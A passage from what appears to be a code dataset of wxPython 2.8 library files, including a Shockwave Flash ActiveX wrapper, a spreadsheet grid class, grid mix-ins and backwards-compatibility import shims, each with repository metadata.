allows the use of the Shockwave Flash\n# ActiveX control\n#\n# Author: <NAME>\n#\n# Created: 22-March-2004\n# RCS-ID: $Id: flashwin.py 54040 2008-06-08 23:03:22Z RD $\n# Copyright: (c) 2008 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\nimport wx\nimport wx.lib.activex\nimport comtypes.client as cc\n\nimport sys\nif not hasattr(sys, 'frozen'):\n cc.GetModule( ('{D27CDB6B-AE6D-11CF-96B8-444553540000}', 1, 0) )\nfrom comtypes.gen import ShockwaveFlashObjects\n\n\nclsID = '{D27CDB6E-AE6D-11CF-96B8-444553540000}'\nprogID = 'ShockwaveFlash.ShockwaveFlash.1'\n\n\n\nclass FlashWindow(wx.lib.activex.ActiveXCtrl):\n def __init__(self, parent, id=-1, pos=wx.DefaultPosition,\n size=wx.DefaultSize, style=0, name='FlashWindow'):\n wx.lib.activex.ActiveXCtrl.__init__(self, parent, progID,\n id, pos, size, style, name)\n \n def SetZoomRect(self, left, top, right, bottom):\n return self.ctrl.SetZoomRect(left, top, right, bottom)\n\n def Zoom(self, factor):\n return self.ctrl.Zoom(factor)\n\n def Pan(self, x, y, mode):\n return self.ctrl.Pan(x, y, mode)\n\n def Play(self):\n return self.ctrl.Play()\n\n def Stop(self):\n return self.ctrl.Stop()\n\n def Back(self):\n return self.ctrl.Back()\n\n def Forward(self):\n return self.ctrl.Forward()\n\n def Rewind(self):\n return self.ctrl.Rewind()\n\n def StopPlay(self):\n return self.ctrl.StopPlay()\n\n def GotoFrame(self, FrameNum):\n return self.ctrl.GotoFrame(FrameNum)\n\n def CurrentFrame(self):\n return self.ctrl.CurrentFrame()\n\n def IsPlaying(self):\n return self.ctrl.IsPlaying()\n\n def PercentLoaded(self):\n return self.ctrl.PercentLoaded()\n\n def FrameLoaded(self, FrameNum):\n return self.ctrl.FrameLoaded(FrameNum)\n\n def FlashVersion(self):\n return self.ctrl.FlashVersion()\n\n def LoadMovie(self, layer, url):\n return self.ctrl.LoadMovie(layer, url)\n\n def TGotoFrame(self, target, FrameNum):\n return self.ctrl.TGotoFrame(target, FrameNum)\n\n def TGotoLabel(self, target, label):\n return self.ctrl.TGotoLabel(target, label)\n\n def TCurrentFrame(self, target):\n return self.ctrl.TCurrentFrame(target)\n\n def TCurrentLabel(self, target):\n return self.ctrl.TCurrentLabel(target)\n\n def TPlay(self, target):\n return self.ctrl.TPlay(target)\n\n def TStopPlay(self, target):\n return self.ctrl.TStopPlay(target)\n\n def SetVariable(self, name, value):\n return self.ctrl.SetVariable(name, value)\n\n def GetVariable(self, name):\n return self.ctrl.GetVariable(name)\n\n def TSetProperty(self, target, property, value):\n return self.ctrl.TSetProperty(target, property, value)\n\n def TGetProperty(self, target, property):\n return self.ctrl.TGetProperty(target, property)\n\n def TCallFrame(self, target, FrameNum):\n return self.ctrl.TCallFrame(target, FrameNum)\n\n def TCallLabel(self, target, label):\n return self.ctrl.TCallLabel(target, label)\n\n def TSetPropertyNum(self, target, property, value):\n return self.ctrl.TSetPropertyNum(target, property, value)\n\n def TGetPropertyNum(self, target, property):\n return self.ctrl.TGetPropertyNum(target, property)\n\n def TGetPropertyAsNumber(self, target, property):\n return self.ctrl.TGetPropertyAsNumber(target, property)\n\n # Getters, Setters and properties\n def _get_ReadyState(self):\n return self.ctrl.ReadyState\n readystate = property(_get_ReadyState, None)\n\n def _get_TotalFrames(self):\n return self.ctrl.TotalFrames\n totalframes = property(_get_TotalFrames, None)\n\n def _get_Playing(self):\n return self.ctrl.Playing\n def _set_Playing(self, Playing):\n self.ctrl.Playing = Playing\n playing = property(_get_Playing, _set_Playing)\n\n def _get_Quality(self):\n return self.ctrl.Quality\n def _set_Quality(self, Quality):\n self.ctrl.Quality = Quality\n quality = property(_get_Quality, _set_Quality)\n\n def _get_ScaleMode(self):\n return self.ctrl.ScaleMode\n def _set_ScaleMode(self, ScaleMode):\n self.ctrl.ScaleMode = ScaleMode\n scalemode = property(_get_ScaleMode, _set_ScaleMode)\n\n def _get_AlignMode(self):\n return self.ctrl.AlignMode\n def _set_AlignMode(self, AlignMode):\n self.ctrl.AlignMode = AlignMode\n alignmode = property(_get_AlignMode, _set_AlignMode)\n\n def _get_BackgroundColor(self):\n return self.ctrl.BackgroundColor\n def _set_BackgroundColor(self, BackgroundColor):\n self.ctrl.BackgroundColor = BackgroundColor\n backgroundcolor = property(_get_BackgroundColor, _set_BackgroundColor)\n\n def _get_Loop(self):\n return self.ctrl.Loop\n def _set_Loop(self, Loop):\n self.ctrl.Loop = Loop\n loop = property(_get_Loop, _set_Loop)\n\n def _get_Movie(self):\n return self.ctrl.Movie\n def _set_Movie(self, Movie):\n self.ctrl.Movie = Movie\n movie = property(_get_Movie, _set_Movie)\n\n def _get_FrameNum(self):\n return self.ctrl.FrameNum\n def _set_FrameNum(self, FrameNum):\n self.ctrl.FrameNum = FrameNum\n framenum = property(_get_FrameNum, _set_FrameNum)\n\n def _get_WMode(self):\n return self.ctrl.WMode\n def _set_WMode(self, WMode):\n self.ctrl.WMode = WMode\n wmode = property(_get_WMode, _set_WMode)\n\n def _get_SAlign(self):\n return self.ctrl.SAlign\n def _set_SAlign(self, SAlign):\n self.ctrl.SAlign = SAlign\n salign = property(_get_SAlign, _set_SAlign)\n\n def _get_Menu(self):\n return self.ctrl.Menu\n def _set_Menu(self, Menu):\n self.ctrl.Menu = Menu\n menu = property(_get_Menu, _set_Menu)\n\n def _get_Base(self):\n return self.ctrl.Base\n def _set_Base(self, Base):\n self.ctrl.Base = Base\n base = property(_get_Base, _set_Base)\n\n def _get_Scale(self):\n return self.ctrl.Scale\n def _set_Scale(self, Scale):\n self.ctrl.Scale = Scale\n scale = property(_get_Scale, _set_Scale)\n\n def _get_DeviceFont(self):\n return self.ctrl.DeviceFont\n def _set_DeviceFont(self, DeviceFont):\n self.ctrl.DeviceFont = DeviceFont\n devicefont = property(_get_DeviceFont, _set_DeviceFont)\n\n def _get_EmbedMovie(self):\n return self.ctrl.EmbedMovie\n def _set_EmbedMovie(self, EmbedMovie):\n self.ctrl.EmbedMovie = EmbedMovie\n embedmovie = property(_get_EmbedMovie, _set_EmbedMovie)\n\n def _get_BGColor(self):\n return self.ctrl.BGColor\n def _set_BGColor(self, BGColor):\n self.ctrl.BGColor = BGColor\n bgcolor = property(_get_BGColor, _set_BGColor)\n\n def _get_Quality2(self):\n return self.ctrl.Quality2\n def _set_Quality2(self, Quality2):\n self.ctrl.Quality2 = Quality2\n quality2 = property(_get_Quality2, _set_Quality2)\n\n def _get_SWRemote(self):\n return self.ctrl.SWRemote\n def _set_SWRemote(self, SWRemote):\n self.ctrl.SWRemote = SWRemote\n swremote = property(_get_SWRemote, _set_SWRemote)\n\n def _get_FlashVars(self):\n return self.ctrl.FlashVars\n def _set_FlashVars(self, FlashVars):\n self.ctrl.FlashVars = FlashVars\n flashvars = property(_get_FlashVars, _set_FlashVars)\n\n def _get_AllowScriptAccess(self):\n return self.ctrl.AllowScriptAccess\n def _set_AllowScriptAccess(self, AllowScriptAccess):\n self.ctrl.AllowScriptAccess = AllowScriptAccess\n allowscriptaccess = property(_get_AllowScriptAccess, _set_AllowScriptAccess)\n\n def _get_MovieData(self):\n return self.ctrl.MovieData\n def _set_MovieData(self, MovieData):\n self.ctrl.MovieData = MovieData\n moviedata = property(_get_MovieData, _set_MovieData)\n\n", "id": "336021", "language": "Python", "matching_score": 1.7303067445755005, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/flashwin.py" }, { "content": "\"\"\"\n\n\nWhen this script is run it will create a .py module (output to the\ncurrent directory) containing a class derived from\nwx.activex.ActiveXWindow for the progID or CLSID given on the command\nline. By default the class name will be used as the module name as\nwell, but this is just because I am lazy, not trying to define a\nstandard or anything. Feel free to rename the module, I do.\n\nUsage:\n\n python genax.py CLSID|progID className\n \n\"\"\"\n\nimport wx\nimport wx.activex\nimport sys\n\n\ndef main(args=None):\n if not args:\n args = sys.argv\n \n if len(args) < 3:\n print __doc__\n sys.exit(1)\n\n # unfortunatly we need to make an app, frame and an instance of\n # the ActiceX control in order to get the TypeInfo about it...\n app = wx.PySimpleApp()\n f = wx.Frame(None, -1, \"\")\n clsid = wx.activex.CLSID(args[1])\n axw = wx.activex.ActiveXWindow(f, clsid)\n\n wx.activex.GernerateAXModule(axw, args[2], '.', verbose=True)\n\n # Cleanup\n f.Close()\n app.MainLoop()\n\n \nif __name__ == \"__main__\":\n main(sys.argv)\n \n", "id": "9660456", "language": "Python", "matching_score": 0.8913020491600037, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/genaxmodule.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.activexwrapper\n\n__doc__ = wx.lib.activexwrapper.__doc__\n\nMakeActiveXClass = wx.lib.activexwrapper.MakeActiveXClass\naxw_Cleanup = wx.lib.activexwrapper.axw_Cleanup\naxw_OEB = wx.lib.activexwrapper.axw_OEB\naxw_OnSize = wx.lib.activexwrapper.axw_OnSize\naxw__getattr__ = wx.lib.activexwrapper.axw__getattr__\naxw__init__ = wx.lib.activexwrapper.axw__init__\n", "id": "3261261", "language": "Python", "matching_score": 1.3317172527313232, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/activexwrapper.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.filebrowsebutton\n\n__doc__ = wx.lib.filebrowsebutton.__doc__\n\nDirBrowseButton = wx.lib.filebrowsebutton.DirBrowseButton\nFileBrowseButton = wx.lib.filebrowsebutton.FileBrowseButton\nFileBrowseButtonWithHistory = wx.lib.filebrowsebutton.FileBrowseButtonWithHistory\n", "id": "1443796", "language": "Python", "matching_score": 0.9488810896873474, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/filebrowsebutton.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.multisash\n\n__doc__ = wx.lib.multisash.__doc__\n\nEmptyChild = wx.lib.multisash.EmptyChild\nMultiClient = wx.lib.multisash.MultiClient\nMultiCloser = wx.lib.multisash.MultiCloser\nMultiCreator = wx.lib.multisash.MultiCreator\nMultiSizer = wx.lib.multisash.MultiSizer\nwxMultiSash = wx.lib.multisash.MultiSash\nwxMultiSplit = wx.lib.multisash.MultiSplit\nwxMultiViewLeaf = wx.lib.multisash.MultiViewLeaf\n", "id": "1604353", "language": "Python", "matching_score": 2.238633632659912, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/multisash.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.grids\n\n__doc__ = wx.lib.grids.__doc__\n\nwxFlexGridSizer = wx.lib.grids.PyFlexGridSizer\nwxGridSizer = wx.lib.grids.PyGridSizer\n", "id": "5624860", "language": "Python", "matching_score": 1.6688010692596436, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/grids.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.gridmovers\n\n__doc__ = wx.lib.gridmovers.__doc__\n\nColDragWindow = wx.lib.gridmovers.ColDragWindow\nEVT_GRID_COL_MOVE = wx.lib.gridmovers.EVT_GRID_COL_MOVE\nEVT_GRID_ROW_MOVE = wx.lib.gridmovers.EVT_GRID_ROW_MOVE\nRowDragWindow = wx.lib.gridmovers.RowDragWindow\n_ColToRect = wx.lib.gridmovers._ColToRect\n_RowToRect = wx.lib.gridmovers._RowToRect\nwxGridColMoveEvent = wx.lib.gridmovers.GridColMoveEvent\nwxGridColMover = wx.lib.gridmovers.GridColMover\nwxGridRowMoveEvent = wx.lib.gridmovers.GridRowMoveEvent\nwxGridRowMover = wx.lib.gridmovers.GridRowMover\n", "id": "10711276", "language": "Python", "matching_score": 1.6273488998413086, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/gridmovers.py" }, { "content": "# sheet.py\n# CSheet - A wxPython spreadsheet class.\n# This is free software. Feel free to adapt it as you like.\n# Author: <NAME> (<EMAIL>) 2002/01/31\n#---------------------------------------------------------------------------\n# 12/11/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n# o Untested.\n#\n\nimport string\nimport wx\nimport wx.grid\n\n#---------------------------------------------------------------------------\nclass CTextCellEditor(wx.TextCtrl):\n \"\"\" Custom text control for cell editing \"\"\"\n def __init__(self, parent, id, grid):\n wx.TextCtrl.__init__(self, parent, id, \"\", style=wx.NO_BORDER)\n self._grid = grid # Save grid reference\n self.Bind(wx.EVT_CHAR, self.OnChar)\n\n def OnChar(self, evt): # Hook OnChar for custom behavior\n \"\"\"Customizes char events \"\"\"\n key = evt.GetKeyCode()\n if key == wx.WXK_DOWN:\n self._grid.DisableCellEditControl() # Commit the edit\n self._grid.MoveCursorDown(False) # Change the current cell\n elif key == wx.WXK_UP:\n self._grid.DisableCellEditControl() # Commit the edit\n self._grid.MoveCursorUp(False) # Change the current cell\n elif key == wx.WXK_LEFT:\n self._grid.DisableCellEditControl() # Commit the edit\n self._grid.MoveCursorLeft(False) # Change the current cell\n elif key == wx.WXK_RIGHT:\n self._grid.DisableCellEditControl() # Commit the edit\n self._grid.MoveCursorRight(False) # Change the current cell\n\n evt.Skip() # Continue event\n\n#---------------------------------------------------------------------------\nclass CCellEditor(wx.grid.PyGridCellEditor):\n \"\"\" Custom cell editor \"\"\"\n def __init__(self, grid):\n wx.grid.PyGridCellEditor.__init__(self)\n self._grid = grid # Save a reference to the grid\n\n def Create(self, parent, id, evtHandler):\n \"\"\" Create the actual edit control. Must derive from wxControl.\n Must Override\n \"\"\"\n self._tc = CTextCellEditor(parent, id, self._grid)\n self._tc.SetInsertionPoint(0)\n self.SetControl(self._tc)\n if evtHandler:\n self._tc.PushEventHandler(evtHandler)\n\n def SetSize(self, rect):\n \"\"\" Position/size the edit control within the cell rectangle. \"\"\"\n # Size text control to exactly overlay in-cell editing\n self._tc.SetDimensions(rect.x+3, rect.y+3, rect.width-2, rect.height-2)\n\n def Show(self, show, attr):\n \"\"\" Show or hide the edit control. Use the attr (if not None)\n to set colors or fonts for the control.\n\n NOTE: There is no need to everride this if you don't need\n to do something out of the ordinary.\n \"\"\"\n super(CCellEditor, self).Show(show, attr)\n\n def PaintBackground(self, rect, attr):\n \"\"\" Draws the part of the cell not occupied by the edit control. The\n base class version just fills it with background colour from the\n attribute.\n\n NOTE: There is no need to everride this if you don't need\n to do something out of the ordinary.\n \"\"\"\n # Call base class method.\n super(CCellEditor, self).PaintBackground(rect, attr)\n\n def BeginEdit(self, row, col, grid):\n \"\"\" Fetch the value from the table and prepare edit control to begin editing.\n Set the focus to the edit control. Must Override.\n \"\"\"\n self._startValue = grid.GetTable().GetValue(row, col)\n self._tc.SetValue(self._startValue)\n self._tc.SetFocus()\n\n # Select the text when initiating an edit so that subsequent typing\n # replaces the contents.\n self._tc.SetSelection(0, self._tc.GetLastPosition())\n\n def EndEdit(self, row, col, grid):\n \"\"\" Commit editing the current cell. Returns True if the value has changed.\n If necessary, the control may be destroyed. Must Override.\n \"\"\"\n changed = False # Assume value not changed\n val = self._tc.GetValue() # Get value in edit control\n if val != self._startValue: # Compare\n changed = True # If different then changed is True\n grid.GetTable().SetValue(row, col, val) # Update the table\n self._startValue = '' # Clear the class' start value\n self._tc.SetValue('') # Clear contents of the edit control\n\n return changed\n\n def Reset(self):\n \"\"\" Reset the value in the control back to its starting value. Must Override. \"\"\"\n self._tc.SetValue(self._startValue)\n self._tc.SetInsertionPointEnd()\n\n def IsAcceptedKey(self, evt):\n \"\"\" Return True to allow the given key to start editing. The base class\n version only checks that the event has no modifiers. F2 is special\n and will always start the editor.\n \"\"\"\n return (not (evt.ControlDown() or evt.AltDown())\n and evt.GetKeyCode() != wx.WXK_SHIFT)\n\n def StartingKey(self, evt):\n \"\"\" If the editor is enabled by pressing keys on the grid, this will be\n called to let the editor react to that first key.\n \"\"\"\n key = evt.GetKeyCode() # Get the key code\n ch = None # Handle num pad keys\n if key in [ wx.WXK_NUMPAD0, wx.WXK_NUMPAD1, wx.WXK_NUMPAD2, wx.WXK_NUMPAD3, \n wx.WXK_NUMPAD4, wx.WXK_NUMPAD5, wx.WXK_NUMPAD6, wx.WXK_NUMPAD7, \n wx.WXK_NUMPAD8, wx.WXK_NUMPAD9]:\n ch = chr(ord('0') + key - wx.WXK_NUMPAD0)\n\n elif key == wx.WXK_BACK: # Empty text control when init w/ back key\n ch = \"\"\n # Handle normal keys\n elif key < 256 and key >= 0 and chr(key) in string.printable:\n ch = chr(key)\n if not evt.ShiftDown():\n ch = ch.lower()\n\n if ch is not None: # If are at this point with a key,\n self._tc.SetValue(ch) # replace the contents of the text control.\n self._tc.SetInsertionPointEnd() # Move to the end so that subsequent keys are appended\n else:\n evt.Skip()\n\n def StartingClick(self):\n \"\"\" If the editor is enabled by clicking on the cell, this method will be\n called to allow the editor to simulate the click on the control.\n \"\"\"\n pass\n\n def Destroy(self):\n \"\"\" Final cleanup\n \n NOTE: There is no need to everride this if you don't need\n to do something out of the ordinary.\n \"\"\"\n super(CCellEditor, self).Destroy()\n\n def Clone(self):\n \"\"\" Create a new object which is the copy of this one. Must Override. \"\"\"\n return CCellEditor()\n\n#---------------------------------------------------------------------------\nclass CSheet(wx.grid.Grid):\n def __init__(self, parent):\n wx.grid.Grid.__init__(self, parent, -1)\n\n # Init variables\n self._lastCol = -1 # Init last cell column clicked\n self._lastRow = -1 # Init last cell row clicked\n self._selected = None # Init range currently selected\n # Map string datatype to default renderer/editor\n self.RegisterDataType(wx.grid.GRID_VALUE_STRING,\n wx.grid.GridCellStringRenderer(),\n CCellEditor(self))\n\n self.CreateGrid(4, 3) # By default start with a 4 x 3 grid\n self.SetColLabelSize(18) # Default sizes and alignment\n self.SetRowLabelSize(50)\n self.SetRowLabelAlignment(wx.ALIGN_RIGHT, wx.ALIGN_BOTTOM)\n self.SetColSize(0, 75) # Default column sizes\n self.SetColSize(1, 75)\n self.SetColSize(2, 75)\n\n # Sink events\n self.Bind(wx.grid.EVT_GRID_CELL_LEFT_CLICK, self.OnLeftClick)\n self.Bind(wx.grid.EVT_GRID_CELL_RIGHT_CLICK, self.OnRightClick)\n self.Bind(wx.grid.EVT_GRID_CELL_LEFT_DCLICK, self.OnLeftDoubleClick)\n self.Bind(wx.grid.EVT_GRID_RANGE_SELECT, self.OnRangeSelect)\n self.Bind(wx.grid.EVT_GRID_ROW_SIZE, self.OnRowSize)\n self.Bind(wx.grid.EVT_GRID_COL_SIZE, self.OnColSize)\n self.Bind(wx.grid.EVT_GRID_CELL_CHANGE, self.OnCellChange)\n self.Bind(wx.grid.EVT_GRID_SELECT_CELL, self.OnGridSelectCell)\n\n def OnGridSelectCell(self, event):\n \"\"\" Track cell selections \"\"\"\n # Save the last cell coordinates\n self._lastRow, self._lastCol = event.GetRow(), event.GetCol()\n event.Skip()\n\n def OnRowSize(self, event):\n event.Skip()\n\n def OnColSize(self, event):\n event.Skip()\n\n def OnCellChange(self, event):\n event.Skip()\n\n def OnLeftClick(self, event):\n \"\"\" Override left-click behavior to prevent left-click edit initiation \"\"\"\n # Save the cell clicked\n currCell = (event.GetRow(), event.GetCol())\n\n # Suppress event if same cell clicked twice in a row.\n # This prevents a single-click from initiating an edit.\n if currCell != (self._lastRow, self._lastCol): event.Skip()\n\n def OnRightClick(self, event):\n \"\"\" Move grid cursor when a cell is right-clicked \"\"\"\n self.SetGridCursor( event.GetRow(), event.GetCol() )\n event.Skip()\n\n def OnLeftDoubleClick(self, event):\n \"\"\" Initiate the cell editor on a double-click \"\"\"\n # Move grid cursor to double-clicked cell\n if self.CanEnableCellControl():\n self.SetGridCursor( event.GetRow(), event.GetCol() )\n self.EnableCellEditControl(True) # Show the cell editor\n event.Skip()\n\n def OnRangeSelect(self, event):\n \"\"\" Track which cells are selected so that copy/paste behavior can be implemented \"\"\"\n # If a single cell is selected, then Selecting() returns False (0)\n # and range coords are entire grid. In this case cancel previous selection.\n # If more than one cell is selected, then Selecting() is True (1)\n # and range accurately reflects selected cells. Save them.\n # If more cells are added to a selection, selecting remains True (1)\n self._selected = None\n if event.Selecting():\n self._selected = ((event.GetTopRow(), event.GetLeftCol()),\n (event.GetBottomRow(), event.GetRightCol()))\n event.Skip()\n\n def Copy(self):\n \"\"\" Copy the currently selected cells to the clipboard \"\"\"\n # TODO: raise an error when there are no cells selected?\n if self._selected == None: return\n ((r1, c1), (r2, c2)) = self._selected\n\n # Build a string to put on the clipboard\n # (Is there a faster way to do this in Python?)\n crlf = chr(13) + chr(10)\n tab = chr(9)\n s = \"\"\n for row in range(r1, r2+1):\n for col in range(c1, c2):\n s += self.GetCellValue(row,col)\n s += tab\n s += self.GetCellValue(row, c2)\n s += crlf\n\n # Put the string on the clipboard\n if wx.TheClipboard.Open():\n wx.TheClipboard.Clear()\n wx.TheClipboard.SetData(wx.TextDataObject(s))\n wx.TheClipboard.Close()\n\n def Paste(self):\n \"\"\" Paste the contents of the clipboard into the currently selected cells \"\"\"\n # (Is there a better way to do this?)\n if wx.TheClipboard.Open():\n td = wx.TextDataObject()\n success = wx.TheClipboard.GetData(td)\n wx.TheClipboard.Close()\n if not success: return # Exit on failure\n s = td.GetText() # Get the text\n\n crlf = chr(13) + chr(10) # CrLf characters\n tab = chr(9) # Tab character\n\n rows = s.split(crlf) # split into rows\n rows = rows[0:-1] # leave out last element, which is always empty\n for i in range(0, len(rows)): # split rows into elements\n rows[i] = rows[i].split(tab)\n\n # Get the starting and ending cell range to paste into\n if self._selected == None: # If no cells selected...\n r1 = self.GetGridCursorRow() # Start the paste at the current location\n c1 = self.GetGridCursorCol()\n r2 = self.GetNumberRows()-1 # Go to maximum row and col extents\n c2 = self.GetNumberCols()-1\n else: # If cells selected, only paste there\n ((r1, c1), (r2, c2)) = self._selected\n\n # Enter data into spreadsheet cells one at a time\n r = r1 # Init row and column counters\n c = c1\n for row in rows: # Loop over all rows\n for element in row: # Loop over all row elements\n self.SetCellValue(r, c, str(element)) # Set cell value\n c += 1 # Increment the column counter\n if c > c2: break # Do not exceed maximum column\n r += 1\n if r > r2: break # Do not exceed maximum row\n c = c1\n\n def Clear(self):\n \"\"\" Clear the currently selected cells \"\"\"\n if self._selected == None: # If no selection...\n r = self.GetGridCursorRow() # clear only current cell\n c = self.GetGridCursorCol()\n self.SetCellValue(r, c, \"\")\n else: # Otherwise clear selected cells\n ((r1, c1), (r2, c2)) = self._selected\n for r in range(r1, r2+1):\n for c in range(c1, c2+1):\n self.SetCellValue(r, c, \"\")\n\n def SetNumberRows(self, numRows=1):\n \"\"\" Set the number of rows in the sheet \"\"\"\n # Check for non-negative number\n if numRows < 0: return False\n\n # Adjust number of rows\n curRows = self.GetNumberRows()\n if curRows < numRows:\n self.AppendRows(numRows - curRows)\n elif curRows > numRows:\n self.DeleteRows(numRows, curRows - numRows)\n\n return True\n\n def SetNumberCols(self, numCols=1):\n \"\"\" Set the number of columns in the sheet \"\"\"\n # Check for non-negative number\n if numCols < 0: return False\n\n # Adjust number of rows\n curCols = self.GetNumberCols()\n if curCols < numCols:\n self.AppendCols(numCols - curCols)\n elif curCols > numCols:\n self.DeleteCols(numCols, curCols - numCols)\n\n return True\n", "id": "6889687", "language": "Python", "matching_score": 4.009821891784668, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/sheet.py" }, { "content": "#----------------------------------------------------------------------------\n# Name: wx.lib.mixins.grid\n# Purpose: Helpful mix-in classes for wx.Grid\n#\n# Author: <NAME>\n#\n# Created: 5-June-2001\n# RCS-ID: $Id: grid.py 36607 2005-12-30 23:02:03Z RD $\n# Copyright: (c) 2001 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------------\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n# o Untested\n#\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o wxGridAutoEditMixin -> GridAutoEditMixin\n#\n\nimport wx\nimport wx.grid\n\n#----------------------------------------------------------------------------\n\n\nclass GridAutoEditMixin:\n \"\"\"A mix-in class that automatically enables the grid edit control when\n a cell is selected.\n\n If your class hooks EVT_GRID_SELECT_CELL be sure to call event.Skip so\n this handler will be called too.\n \"\"\"\n\n def __init__(self):\n self.Bind(wx.grid.EVT_GRID_SELECT_CELL, self.__OnSelectCell)\n\n\n def __DoEnableEdit(self):\n if self.CanEnableCellControl():\n self.EnableCellEditControl()\n\n\n def __OnSelectCell(self, evt):\n wx.CallAfter(self.__DoEnableEdit)\n evt.Skip()\n\n", "id": "1356958", "language": "Python", "matching_score": 3.4470913410186768, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/mixins/grid.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wxPython.lib.mixins\n# Purpose: A package for helpful wxPython mix-in classes\n#\n# Author: <NAME>\n#\n# Created: 15-May-2001\n# RCS-ID: $Id: __init__.py 24889 2003-12-17 00:34:40Z RD $\n# Copyright: (c) 2001 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n\n\n\n", "id": "4405373", "language": "Python", "matching_score": 0.3050476014614105, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/mixins/__init__.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx._windows\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxPanel = wx._windows.Panel\nwxPrePanel = wx._windows.PrePanel\nwxPanel_GetClassDefaultAttributes = wx._windows.Panel_GetClassDefaultAttributes\nwxScrolledWindow = wx._windows.ScrolledWindow\nwxPreScrolledWindow = wx._windows.PreScrolledWindow\nwxScrolledWindow_GetClassDefaultAttributes = wx._windows.ScrolledWindow_GetClassDefaultAttributes\nwxFrameNameStr = wx._windows.FrameNameStr\nwxDialogNameStr = wx._windows.DialogNameStr\nwxStatusLineNameStr = wx._windows.StatusLineNameStr\nwxToolBarNameStr = wx._windows.ToolBarNameStr\nwxSTAY_ON_TOP = wx._windows.STAY_ON_TOP\nwxICONIZE = wx._windows.ICONIZE\nwxMINIMIZE = wx._windows.MINIMIZE\nwxMAXIMIZE = wx._windows.MAXIMIZE\nwxCLOSE_BOX = wx._windows.CLOSE_BOX\nwxTHICK_FRAME = wx._windows.THICK_FRAME\nwxSYSTEM_MENU = wx._windows.SYSTEM_MENU\nwxMINIMIZE_BOX = wx._windows.MINIMIZE_BOX\nwxMAXIMIZE_BOX = wx._windows.MAXIMIZE_BOX\nwxTINY_CAPTION_HORIZ = wx._windows.TINY_CAPTION_HORIZ\nwxTINY_CAPTION_VERT = wx._windows.TINY_CAPTION_VERT\nwxRESIZE_BOX = wx._windows.RESIZE_BOX\nwxRESIZE_BORDER = wx._windows.RESIZE_BORDER\nwxDIALOG_NO_PARENT = wx._windows.DIALOG_NO_PARENT\nwxDEFAULT_FRAME_STYLE = wx._windows.DEFAULT_FRAME_STYLE\nwxDEFAULT_DIALOG_STYLE = wx._windows.DEFAULT_DIALOG_STYLE\nwxFRAME_TOOL_WINDOW = wx._windows.FRAME_TOOL_WINDOW\nwxFRAME_FLOAT_ON_PARENT = wx._windows.FRAME_FLOAT_ON_PARENT\nwxFRAME_NO_WINDOW_MENU = wx._windows.FRAME_NO_WINDOW_MENU\nwxFRAME_NO_TASKBAR = wx._windows.FRAME_NO_TASKBAR\nwxFRAME_SHAPED = wx._windows.FRAME_SHAPED\nwxFRAME_DRAWER = wx._windows.FRAME_DRAWER\nwxFRAME_EX_METAL = wx._windows.FRAME_EX_METAL\nwxDIALOG_EX_METAL = wx._windows.DIALOG_EX_METAL\nwxDIALOG_MODAL = wx._windows.DIALOG_MODAL\nwxDIALOG_MODELESS = wx._windows.DIALOG_MODELESS\nwxUSER_COLOURS = wx._windows.USER_COLOURS\nwxNO_3D = wx._windows.NO_3D\nwxFULLSCREEN_NOMENUBAR = wx._windows.FULLSCREEN_NOMENUBAR\nwxFULLSCREEN_NOTOOLBAR = wx._windows.FULLSCREEN_NOTOOLBAR\nwxFULLSCREEN_NOSTATUSBAR = wx._windows.FULLSCREEN_NOSTATUSBAR\nwxFULLSCREEN_NOBORDER = wx._windows.FULLSCREEN_NOBORDER\nwxFULLSCREEN_NOCAPTION = wx._windows.FULLSCREEN_NOCAPTION\nwxFULLSCREEN_ALL = wx._windows.FULLSCREEN_ALL\nwxTOPLEVEL_EX_DIALOG = wx._windows.TOPLEVEL_EX_DIALOG\nwxUSER_ATTENTION_INFO = wx._windows.USER_ATTENTION_INFO\nwxUSER_ATTENTION_ERROR = 